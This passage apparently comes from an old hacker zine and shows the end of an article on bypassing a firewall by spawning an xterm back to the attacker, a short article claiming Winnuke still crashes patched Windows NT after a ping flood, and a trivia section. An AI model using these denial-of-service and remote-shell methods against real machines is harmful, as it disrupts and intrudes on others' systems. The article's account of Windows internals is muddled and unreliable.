Taking it to the next level:
So if you find this works, what else can you do? Have a remote sendmail attack
lying around? Can you run a command on a remote machine? Know what an xterm
is? Firewalls often allow a wide variety of traffic to go outbound. So route
a remote sendmail based attack to the internal host of your choice, spawn an
xterm to your terminal and voila. You just bypassed a firewall!
Conclusion:
Yup. That is it. Short and sweet. No need to put excess words in this
article as you are probably late on your hourly check of rootshell.com looking
for the latest scripts. Expand your minds.
Hi:
mea_culpa [email protected]
* "taking it to the next level" is a bastardized trademark of MC.
* 'wacky white hat ethical hacker' is probably a trademark of IBM.
* 'malicious black hat evil hacker' is a trademark of the ICSA.
0x8>-------------------------------------------------------------------------
Resource Hacking and Windows NT/95
by Lord Byron
With the release of Windows NT service pack 3 the infamous Winnuke denial
of service attacks are rendered useless. At least that is what they lead you
to believe. This is not the case. To understand why we need to delve into a
little background on the internals of Windows; more specifcally, the way that
Windows allocates memory. This is the undying problem. To better understand
the problems with Windows memory allocation you have to go very deep within the
operating system, to what is commonly called the "thunking layer". This layer
is what allows Windows to call both 16 and 32-bit functions on the same
function stack. If you make a TCP/IP-type function call or (if you are a
database person) an ODBC function call you are calling a pseudo 32-bit
function. Yes, both of these direct drivers are 32-bit drivers but they rely
upon 16-bit code to finish their process. Once you enter one of these drivers
all the data is passed into that driver. Windows also requires all drivers to
run at the level 0 level within the Windows kernel. These drivers then pass
off the data to different 16-bit functions. The difficulty with passing off
32-bit data to a 16-bit function is where the thunking layer comes into the
picture. The thunking layer is a wrapper around all 16-bit functions in
Windows that can be called by a 32-bit function. It thunks the data calls
down to 16-bit by converting them into multiple data elements normally done by
a structure or by passing the actual memory dump of the variable and passing
the data dump into the function. Then the function does its processing to the
data within the data-gram and passes it back out of the function. At this
point it goes back through the thunking layer and reconverts the data back to
a 32-bit variable and then the 32-bit driver keeps on with its processing.
This processing of the thunking layer is not an unheard of scheme nor has it
not been used before but with the way that we all know that Microsoft codes it
was done in a hurry, not properly implemented, and never tested till
production. Do to the aforementioned reasons it should not surprise to anyone
that the code has severe memory leaks. This is why if you, for example, make
an ODBC call to an Oracle database long enough that eventually your Windows
box becomes slower until an eventual crash "Blue Screen of Death" or just
becomes unbearable to work with. As Microsoft tries to patch these bugs in
the device drivers it releases service packs such as SP3. The way that
Microsoft has developed and implements the device driver process is on a
modular code basis. So when a patch is implemented it actually calls the
modulated code to handle the exact situation for that exploit.
Now that you know some of the basic internals as to how Windows makes its
calls it is time to understand resource hacking and the reason Win-nuke still
works. If you ping a Windows box it allocates a certain amount of ram and
runs code within the driver that returns the ICMP packet. Well if you ping a
windows box 20,000 or 30,000 times it has to allocate 20 or 30 thousand
chunks of memory to run the device driver to return the ICMP packet. Once 20
or 30 thousand little chunks of memory out there you do not have enough memory
to run allow the TCP/IP driver to spawn the code to handle normal function
within the Windows box. At this point if you were to run Win-nuke to send the
OOB packet to port 139 on a Windows box in would crash the box. The OOB code
that was used to patch Win-nuke in SP3 could not be spawned due to the lack of
memory available and thus uses the original code for the TCP/IP.sys so it gets
processed by the standard TCP/IP driver that was original shipped with Windows
without the fix. The only way for Microsoft to actually fix this problem
would be to rewrite the TCP/IP driver with the correct code within it as the
core driver (instead of writing patches to be spawned when the exception
occurs). In doing this though would require Microsoft a significant amount of
coding skill and talent which we know that no self respecting coder would ever
work for the big evil.
0x9>-------------------------------------------------------------------------
----[ PDM
Phrack Doughnut Movie (PDM) last issue was `Grosse Point Blank`.
PDM52 recipients:
Jim Broome
Jonathan Ham
Jon "Boyracer" George
James Hanson
Jesse Paulsen
jcoest
All the recipients have J* first names. Eerie. And what is actually involved
in `boyracing`? Do they put little saddles on them?
PDM53 Challenge:
"...Remember, ya always gotta put one in the brain. The first one puts him
down, the second one finishes him off. Then he's dead. Then we go home."
----[ EOF